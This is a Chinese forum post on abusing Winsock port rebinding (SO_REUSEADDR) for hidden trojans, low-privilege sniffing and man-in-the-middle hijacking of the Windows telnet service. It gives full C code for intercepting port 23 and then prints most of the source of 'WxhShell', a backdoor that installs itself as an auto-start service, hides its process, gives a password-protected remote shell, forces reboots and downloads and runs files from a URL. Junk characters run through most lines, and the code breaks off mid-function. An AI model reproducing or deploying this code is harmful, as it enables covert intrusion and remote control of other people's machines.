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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I$f:K]|.m!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W@wT ,yJ8@  
Gw+z8^|C&}  
  saddr.sin_family = AF_INET;  EVq<gGy  
S}Mxm 2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !@VmaAT  
1&jX~'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 44%::Oh  
>5^Z'!Z"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D<xPx  
U7PA%  
  这意味着什么?意味着可以进行如下的攻击: )%^oR5W  
-D!F|&$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I*lq0&  
f7s]:n*Ih  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?WAlW,H>  
]-* }-j`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O)9T|, U  
PI?-gc?[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JC=Bxv  
{ReAl_Cm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |AFF*]e S  
/_}v|E0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H>M%5bj  
(^Nf;E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kJDMIh|g  
tAc;O[L  
  #include m k -" U7;  
  #include v0$6@K;M4G  
  #include 9MHb<~F  
  #include    hJd#Gc~*M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :nwcO3~`  
  int main() GuDus2#+  
  { }1 _gemlf  
  WORD wVersionRequested; Wb4sfP_  
  DWORD ret; >Y2Rr9  
  WSADATA wsaData; /AMtT%91  
  BOOL val; 5lU`o  
  SOCKADDR_IN saddr; iicrRGp3  
  SOCKADDR_IN scaddr; M/1Q/;0P  
  int err; 4&y_+  
  SOCKET s; r`S]`&#}(  
  SOCKET sc; j ^_ G  
  int caddsize; Szg<;._J  
  HANDLE mt; #Jm_~k  
  DWORD tid;   '|]zBpz  
  wVersionRequested = MAKEWORD( 2, 2 ); |fw+{f  
  err = WSAStartup( wVersionRequested, &wsaData ); "%.#/!RG  
  if ( err != 0 ) { <|2_1[,sl  
  printf("error!WSAStartup failed!\n"); Np/[MC  
  return -1; sL\|y38'  
  } pnqjAT GU  
  saddr.sin_family = AF_INET; ;bAy 7  
   I) Y$?"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |Zt=8}di  
8"<!8Img  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W B!$qie\  
  saddr.sin_port = htons(23); x65e,'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N`zHe*=[~  
  { g:2/!tujL  
  printf("error!socket failed!\n"); @x=CMF15  
  return -1; "n8_Ag@r  
  } Zy!\=-dSm  
  val = TRUE; ~Yr.0i.W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (> 8fcQUBb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EI_J7J+  
  { xE)pj|  
  printf("error!setsockopt failed!\n"); o<g (%ncr  
  return -1; )E4COw+  
  } qlgh$9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Uc6U!X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~Snw':  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qy-BZ%3  
`nizGg~1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mYy3KqYu  
  { R 7{ rY  
  ret=GetLastError(); :ZzG5[o3  
  printf("error!bind failed!\n"); ?&X6VNbU  
  return -1; sP+S86 u  
  } P0z "Eq0S  
  listen(s,2); zc2,Mn2  
  while(1) yqBu7E$X  
  { Iy,)>V%iZV  
  caddsize = sizeof(scaddr); K GI]W|T  
  //接受连接请求 b#y}VY)?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [2FXs52  
  if(sc!=INVALID_SOCKET) )Tb;N  
  { #15q`w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); []Fy[G.)H  
  if(mt==NULL) ~z'0~3  
  { t6"4+:c!>  
  printf("Thread Creat Failed!\n"); 8WyG49eic  
  break; S`l CynGH  
  } P,%|(qB  
  } .9ROa#7U;n  
  CloseHandle(mt); @e Myq1ZU  
  } *Zc-&Dk:Ir  
  closesocket(s); 8ziYav  
  WSACleanup(); bZlAK)  
  return 0; 2xnOWW   
  }   h T Xc0  
  DWORD WINAPI ClientThread(LPVOID lpParam) P`oR-D  
  { D=OU61AA  
  SOCKET ss = (SOCKET)lpParam; 6@$[x* V  
  SOCKET sc; ' 5Ieqpm9  
  unsigned char buf[4096]; *1%g=vb  
  SOCKADDR_IN saddr; {Ise (>V  
  long num; \ agC Q&  
  DWORD val; TxiJ?sDh*  
  DWORD ret; DBv5Og  
  //如果是隐藏端口应用的话,可以在此处加一些判断 es6e-y@e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pE`( kD  
  saddr.sin_family = AF_INET; + X ?jf.4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `C()H@;  
  saddr.sin_port = htons(23); MUo?ajbqOd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~ACB #D%  
  { >Y,7>ahyt  
  printf("error!socket failed!\n"); Vnl~AQfk|  
  return -1; #2MwmIeA  
  } ^ ID%pd  
  val = 100; nph{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %*/[aq,#  
  { 6%'{Cq1DE  
  ret = GetLastError(); mrbIoN==`  
  return -1; K)v(Z"  
  } :{AN@zC0\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4 '+)9&g  
  { ~W#f,mf  
  ret = GetLastError(); J)-owu;  
  return -1; 7]^Cg;EtM:  
  } '|cuVxcE55  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B8nXWi  
  { cshUxabB  
  printf("error!socket connect failed!\n"); td m{ V st  
  closesocket(sc); 1dq.UW\  
  closesocket(ss); Rsulp#['  
  return -1; p<+]+,|\~:  
  } f*I5 m=  
  while(1) F;ZLoG*U  
  { 4H,DG`[Mo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _I!Xr!!)a0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _x \Ll?,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jmb\eOq+~V  
  num = recv(ss,buf,4096,0); 63f/-64?7  
  if(num>0) 2ReulL8j  
  send(sc,buf,num,0); kj8zWG4KH  
  else if(num==0) `SG70/  
  break; 5FzRusNiA  
  num = recv(sc,buf,4096,0); 9@j~1G%^  
  if(num>0) <V, ?!}V  
  send(ss,buf,num,0); l&rDa=m.J  
  else if(num==0) [0}471  
  break; :X!(^ a;]  
  } b^xf ,`D  
  closesocket(ss); :@/fy}!  
  closesocket(sc); pqs)ueu  
  return 0 ; }/LYI  
  } I*ej_cFQ^  
_c&*'IY[V  
4EpzCaEZ  
========================================================== ^d"J2n,7L  
oaKf{$vg  
下边附上一个代码,,WXhSHELL V ": BAn  
 Ntqc=z  
========================================================== 70NHU;&N  
k`t'P6 bU  
#include "stdafx.h" Ao\Vh\rQkq  
8x{vgx @M  
#include <stdio.h> ^DH*@M  
#include <string.h> 9,Mp/.T"\  
#include <windows.h> ~;+vF-]R  
#include <winsock2.h> MJb = +L  
#include <winsvc.h> 5bw]cv$i  
#include <urlmon.h> V ;6M[ic}  
~L1O\V i  
#pragma comment (lib, "Ws2_32.lib") Z^|C~lp;n  
#pragma comment (lib, "urlmon.lib") bXfOZFzq)  
`8-aHPF-  
#define MAX_USER   100 // 最大客户端连接数 6?lg 6a/eO  
#define BUF_SOCK   200 // sock buffer ^Pf&C0xXv  
#define KEY_BUFF   255 // 输入 buffer Fv: %"P^  
h <M7[p=  
#define REBOOT     0   // 重启 c,qCZ-.Sg  
#define SHUTDOWN   1   // 关机 )k1,oUx  
U&5zs r  
#define DEF_PORT   5000 // 监听端口 W wE)XE  
WU4i-@Bm8  
#define REG_LEN     16   // 注册表键长度 t[maUy _A  
#define SVC_LEN     80   // NT服务名长度 >R: +ml  
+wSm6*j7=  
// 从dll定义API iF0a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e.+)0)A-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <It7s1O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @}Ixr{t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lwcw%M]  
I5A^/=bf&  
// wxhshell配置信息 10rGA=x'(  
struct WSCFG { v;Dcq  
  int ws_port;         // 监听端口 Z:hrrq9  
  char ws_passstr[REG_LEN]; // 口令 NQJqS?^W&M  
  int ws_autoins;       // 安装标记, 1=yes 0=no :6/OU9f/R  
  char ws_regname[REG_LEN]; // 注册表键名 [w/t  
  char ws_svcname[REG_LEN]; // 服务名 J*Hn/m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5:d2q<x:{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /$z@_U [L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v(h Xk]S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  =s]{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v6VhXV6$|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i6CYD  
Ak1)  
}; @e,Zmx  
O}-7 V5  
// default Wxhshell configuration _e_%U<\4  
struct WSCFG wscfg={DEF_PORT, t4*A+"~j  
    "xuhuanlingzhe", %MJ7u}  
    1, &-:yn&f7  
    "Wxhshell", ;5k|gW  
    "Wxhshell", ~K96y$ DTE  
            "WxhShell Service", )R@gnTe  
    "Wrsky Windows CmdShell Service", DxgT]F%  
    "Please Input Your Password: ", gk1S"H  
  1, XgKG\C=3  
  "http://www.wrsky.com/wxhshell.exe", WS/+Yl  
  "Wxhshell.exe" %`1vIr(7  
    }; =)YYx8gR  
'lk74qU$  
// 消息定义模块 UK>=y_FYO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uq%3;#[0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nj_sU0Dt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7 !.8#A':  
char *msg_ws_ext="\n\rExit."; KL  mB  
char *msg_ws_end="\n\rQuit."; BznA)EK?@  
char *msg_ws_boot="\n\rReboot..."; -l@W)?$  
char *msg_ws_poff="\n\rShutdown..."; mJ>99:W+  
char *msg_ws_down="\n\rSave to "; (VAL.v*  
.K1E1Z_  
char *msg_ws_err="\n\rErr!"; BDRVT Y(s  
char *msg_ws_ok="\n\rOK!"; Vk_&W.~  
a.IF%hP0xo  
char ExeFile[MAX_PATH]; Y^Q|l%Qrb  
int nUser = 0; 4_I{Q^f  
HANDLE handles[MAX_USER]; d`<^+p)oy  
int OsIsNt; =k= 2~ j  
~&lJT  
SERVICE_STATUS       serviceStatus; Wky STc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >Ron+ oe  
r)]CZ])  
// 函数声明 u2B W]T]  
int Install(void); ,M&0<k\  
int Uninstall(void); Ti|++oC/&  
int DownloadFile(char *sURL, SOCKET wsh); >Mz|e(6  
int Boot(int flag); J<#`IaV  
void HideProc(void); SzlfA%4+GR  
int GetOsVer(void); F6c[v|3  
int Wxhshell(SOCKET wsl); ONq/JW$?LV  
void TalkWithClient(void *cs); z~e~K`S  
int CmdShell(SOCKET sock); /_OZ1jX  
int StartFromService(void); nvK7*-  
int StartWxhshell(LPSTR lpCmdLine); <`_OpNxqW  
!b->u_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7 eQoc2X2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j4xr1y3^  
' xZPIj+  
// 数据结构和表定义 K}<!{/fi)  
SERVICE_TABLE_ENTRY DispatchTable[] = M|#5gKXd  
{ Z)i1?#  
{wscfg.ws_svcname, NTServiceMain}, ~1r*/@M[V  
{NULL, NULL} [F)/mN  
}; 62l0 Z-  
]|t.wr3AU  
// 自我安装 ,e FQ}&^A  
int Install(void) N%r L=zE  
{ 8H#c4%by)  
  char svExeFile[MAX_PATH]; Owpg]p yVD  
  HKEY key; hAr[atu87  
  strcpy(svExeFile,ExeFile); !8@rK$DB  
E}' d,v#Z{  
// 如果是win9x系统,修改注册表设为自启动 <S8W~ wC  
if(!OsIsNt) { kad;Wa#h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V"by9p|V`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TflS@Z7C  
  RegCloseKey(key); z2Y_L8u2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W+f&%En  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ZkAul0@  
  RegCloseKey(key); IO!1|JMr6  
  return 0; )=E~CpKV  
    } a5}44/%  
  } 9^QYuf3O  
} wz*A<iU  
else { dXcPWbrU4  
u:uSsAn0$  
// 如果是NT以上系统,安装为系统服务 .)@tXH=}+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n*m"L|:ff  
if (schSCManager!=0) }K/}(zuy1Y  
{ R=amKLD?  
  SC_HANDLE schService = CreateService 4-+ozC{  
  ( #A/]Vs$  
  schSCManager, t&9as}  
  wscfg.ws_svcname, RCh$j&Tn  
  wscfg.ws_svcdisp, =,d* {m~A  
  SERVICE_ALL_ACCESS, Y%)h)El  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w38c  
  SERVICE_AUTO_START, NB3Syl8g  
  SERVICE_ERROR_NORMAL, XiRT|%j  
  svExeFile, C9mzg  
  NULL, ;o)=XEh8P  
  NULL, sUbz)BS#.  
  NULL, :PD`PgQ  
  NULL, `\ef0  
  NULL }(+=/$C"#  
  ); uZo`IKJ  
  if (schService!=0) ].-J.  
  { up &NCX  
  CloseServiceHandle(schService); d{2 y/  
  CloseServiceHandle(schSCManager); Im?= e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tt7PEEf  
  strcat(svExeFile,wscfg.ws_svcname);  !u53 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {\svV 0)~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -7k|6"EwM  
  RegCloseKey(key); K$<`4#i  
  return 0; M9Nk=s! 3  
    } }$Hs;4|  
  } \[[TlB>  
  CloseServiceHandle(schSCManager); d=t}T6.|  
} \ W 'i0+  
} (:?5 i`  
t+3   
return 1; nIyROhZ  
} lrs0^@.+  
#QTfT&m+G}  
// 自我卸载 AaVI%$  
int Uninstall(void) jr, &=C(  
{ DJViy  
  HKEY key; g[EM]q,  
mq J0z4I}  
if(!OsIsNt) { vo(g0Au)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pcI&  
  RegDeleteValue(key,wscfg.ws_regname); bkr~13S{+  
  RegCloseKey(key); qGpP,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I|g@W_  
  RegDeleteValue(key,wscfg.ws_regname); mUrS &&fu8  
  RegCloseKey(key); ?w]"~   
  return 0; FJsK5-  
  } ?kL|>1TY  
} 'v\1:zi  
} 5JBB+g  
else { >JKnGeF  
]aC ':55(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %[]"QbF?  
if (schSCManager!=0) oLrkOn/aY  
{ z(g%ue\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ? G$Om  
  if (schService!=0) SY%A"bC  
  { +{,N X  
  if(DeleteService(schService)!=0) { a>o"^%x  
  CloseServiceHandle(schService); r6d0x  
  CloseServiceHandle(schSCManager); k4qLB1&,  
  return 0; HGO#e  
  } !,cQ'*<W8-  
  CloseServiceHandle(schService); Z/2,al\  
  } 3]O`[P,*%  
  CloseServiceHandle(schSCManager); ,f8}q]FTA  
} /S:w&5e  
} MU_!&(X_  
S}oG.r 9  
return 1; )-bD2YA{  
} 5h`m]#YEG  
NuC-qG#  
// 从指定url下载文件 rNxrQ  
int DownloadFile(char *sURL, SOCKET wsh) K\RWC4  
{ J+ Jt4  
  HRESULT hr; #4vV%S   
char seps[]= "/"; `Y\gSUhzS  
char *token; yGb a  
char *file; F&=I7i  
char myURL[MAX_PATH]; !]$V9F{K  
char myFILE[MAX_PATH]; WGH%92  
U7^7/s/.  
strcpy(myURL,sURL); .:w#&yM [U  
  token=strtok(myURL,seps); @GN(]t&3  
  while(token!=NULL) <Q2u)m'  
  { kCj`V2go  
    file=token; iuiAK  
  token=strtok(NULL,seps); w Y8@1>ah  
  } a?5WKO  
uQH%.A  
GetCurrentDirectory(MAX_PATH,myFILE); }x*7l`1  
strcat(myFILE, "\\"); Ct4LkmD  
strcat(myFILE, file); lV P9=  
  send(wsh,myFILE,strlen(myFILE),0); 2>F\&  
send(wsh,"...",3,0); L +L 9Y}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;tJWOm  
  if(hr==S_OK) :]vA 2  
return 0; iV5}U2Vh  
else Rw{$L~\  
return 1; IikG /8lP  
V?OuIg%=:  
} {DU"]c/S  
q_cC7p6t  
// 系统电源模块 ~mtTsZc  
int Boot(int flag) ~j=xiP  
{ ):e+dt  
  HANDLE hToken; J!rY 6[ t  
  TOKEN_PRIVILEGES tkp; ?#d6i$  
\I?w)CE@R  
  if(OsIsNt) { 9lKn% |=T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >xT^RYS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }$l8d/_$[  
    tkp.PrivilegeCount = 1; 1Fv8T'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T YYp"wx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %B@ !  
if(flag==REBOOT) { >^dyQyK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $0_^=D EW  
  return 0; &,J*_F<s2<  
} Y=r!2u6r~  
else { *RBV'b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (B@X[~  
  return 0; )T9;6R$b  
} JjQ8|En  
  } :4|M jn  
  else { 2+z1h^)W  
if(flag==REBOOT) { )B6# A0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1!vPc93 $$  
  return 0; R,%_deV\(  
} n=q=zn;  
else { 7AFE-'S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W Zq,()h  
  return 0; %dc3z"u  
} .;9jdGBf  
} *.oKI@  
W;4Lkk$  
return 1; {;*}WPYb  
} ]bm=LA  
"f4<B-9<$  
// win9x进程隐藏模块 a5|@R<iF  
void HideProc(void) >-M ]:=L  
{ #b'N}2'p#V  
%,/lqcFo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N>0LQ MI  
  if ( hKernel != NULL ) jo}1u_OJ  
  { -ey)J +?t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TjxA#D)   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L1sqU-gt  
    FreeLibrary(hKernel); $/+so;KD  
  } %#u.J  
l;OYUq~F  
return; [>f]@>  
} /prYSRn8  
Z0$] tS  
// 获取操作系统版本 Z0-ytODI I  
int GetOsVer(void) &R,9+c  
{ >)NQH9'1  
  OSVERSIONINFO winfo; eX"''PA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eJHp6)2  
  GetVersionEx(&winfo); 6g"C#&{@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mk%b9Ko<F  
  return 1; f8=]oa]  
  else 6W&_2a7*  
  return 0; ?1peF47Z  
} oaK.kOo  
JE hm1T  
// 客户端句柄模块 ,X68xk.'  
int Wxhshell(SOCKET wsl) Zsj`F9*e  
{ e`iEy=W  
  SOCKET wsh; :lgi>^  
  struct sockaddr_in client; IxOc':/jY  
  DWORD myID; )1lu=gc  
]!Oue_-;  
  while(nUser<MAX_USER) Lu=O+{*8  
{ je%ldY]/@  
  int nSize=sizeof(client); ?iv=53<c#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :HRT 2I  
  if(wsh==INVALID_SOCKET) return 1; y(5:}x&E  
?'eq",c#4N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xr[Vp  
if(handles[nUser]==0) s9O2k}]  
  closesocket(wsh); bAEg$A  
else CE ~@}`  
  nUser++; _okWQvdH  
  } (?>cn_m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KxIyc7.  
M&KyA  
  return 0; +Rwx% =  
} wfR&li{  
o r2|O#=  
// 关闭 socket )K;]y-Us[  
void CloseIt(SOCKET wsh) kccWoU,  
{ irKIy  
closesocket(wsh); k_ Y~;P@  
nUser--; Dz;HAyPj  
ExitThread(0); Mzkkc QLK  
} bcH_V| 5}  
BMFF=  
// 客户端请求句柄 dU_;2#3m  
void TalkWithClient(void *cs) G-u]L7t&1  
{ Xj@+{uvQB  
`)K y0&?  
  SOCKET wsh=(SOCKET)cs; \+m$  
  char pwd[SVC_LEN]; uwmQ?LS]V  
  char cmd[KEY_BUFF]; @MbVWiv  
char chr[1]; jVWK0Zba  
int i,j; 3^,QIG  
iPj~I  
  while (nUser < MAX_USER) { ^YlI>_3s  
TQ ]dW  
if(wscfg.ws_passstr) { Z9K})47T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gb" 4B%Hm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4w93}t.z  
  //ZeroMemory(pwd,KEY_BUFF); Z[?mc|*x  
      i=0; e,0-)?5R  
  while(i<SVC_LEN) { 3n]79+w@z  
* F4UAQzYb  
  // 设置超时 :TalW~r|  
  fd_set FdRead; UvJ; A  
  struct timeval TimeOut; h6v077qG  
  FD_ZERO(&FdRead); b5a.go  
  FD_SET(wsh,&FdRead); q7\Ovjs0  
  TimeOut.tv_sec=8; F<|t\KOW  
  TimeOut.tv_usec=0; B^v8,;jZT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8sOQ9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k N7Bd}  
Bc5+ss  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vXE0%QE'Q  
  pwd=chr[0]; .; Q:p*  
  if(chr[0]==0xd || chr[0]==0xa) { `3c CH  
  pwd=0; uLR<FpM  
  break; (?0`d  
  } bHE2,;o  
  i++; <vV_%uo M  
    } :-T*gqj|  
!l@zT}i??  
  // 如果是非法用户,关闭 socket P-`(0M7^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9+=gke  
} u]*0;-tz  
% Zjdl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <0P5 o|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8\.b4FNJ  
Yk!/ow@.  
while(1) { 0RFRbi@n(  
I\O\,yPhhP  
  ZeroMemory(cmd,KEY_BUFF); 3uWkc3  
4?\:{1X=  
      // 自动支持客户端 telnet标准   49H+(*@v@  
  j=0; !69&Ld  
  while(j<KEY_BUFF) { WKfkKk;G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &7e)O=  
  cmd[j]=chr[0]; qet>1<  
  if(chr[0]==0xa || chr[0]==0xd) { 8^/I>0EZ  
  cmd[j]=0; sgUud_r)4  
  break; *ISZlR\#  
  } !]yO^Ob.E  
  j++; KngTc(^_D  
    } 942lSyix  
mHc>"^R  
  // 下载文件 FS6`6M.K  
  if(strstr(cmd,"http://")) {  as yZe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {i0SS  
  if(DownloadFile(cmd,wsh)) ]:M0Kj&h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); : rMM4  
  else I#F!N6;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w8S!%abl1  
  } k <iTjI*N  
  else { n{*D_kM(H  
"*1 f;+\  
    switch(cmd[0]) {  {^a36i  
  D,v U  
  // 帮助 \JEXX4%  
  case '?': { m,i,n9C->  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pKiZ)3U  
    break; N["W I r  
  } nAIo{ F  
  // 安装 s#~GH6/  
  case 'i': { 8BOZh6BV  
    if(Install()) ,l YE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c/N@zum,{  
    else "5R~(+~<@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \MC-4Yz  
    break; EP'h@zdz  
    } q;g>t5]a  
  // 卸载 l/TjQ*  
  case 'r': { Z;Ez"t&U  
    if(Uninstall()) [qUN4x5b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }D411228  
    else M>9-=$7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,mhQ"\+C  
    break; LEMfG~Czq  
    } VVH.2&`I  
  // 显示 wxhshell 所在路径 Unj.f>U  
  case 'p': { 00v&lQBW  
    char svExeFile[MAX_PATH]; ]^':Bmq  
    strcpy(svExeFile,"\n\r"); |F,R&<2  
      strcat(svExeFile,ExeFile); dI&!e#Y  
        send(wsh,svExeFile,strlen(svExeFile),0); j`^$#  
    break; IG)s^bP  
    } ;c~cet4  
  // 重启 zJP6F.Ov!  
  case 'b': { @k[R/,#'[t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F <>!kK/c  
    if(Boot(REBOOT)) B~o\+n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wW>zgTG  
    else { ) [0T16  
    closesocket(wsh); f` =CpO*  
    ExitThread(0); _XJ2fA )  
    } jK \T|vGJa  
    break; x~xa6  
    } VE+IKj!VG0  
  // 关机 &%})wZ+Dj  
  case 'd': { m'P1BLk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J)P$2#  
    if(Boot(SHUTDOWN)) JJ;[,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zi`b2h  
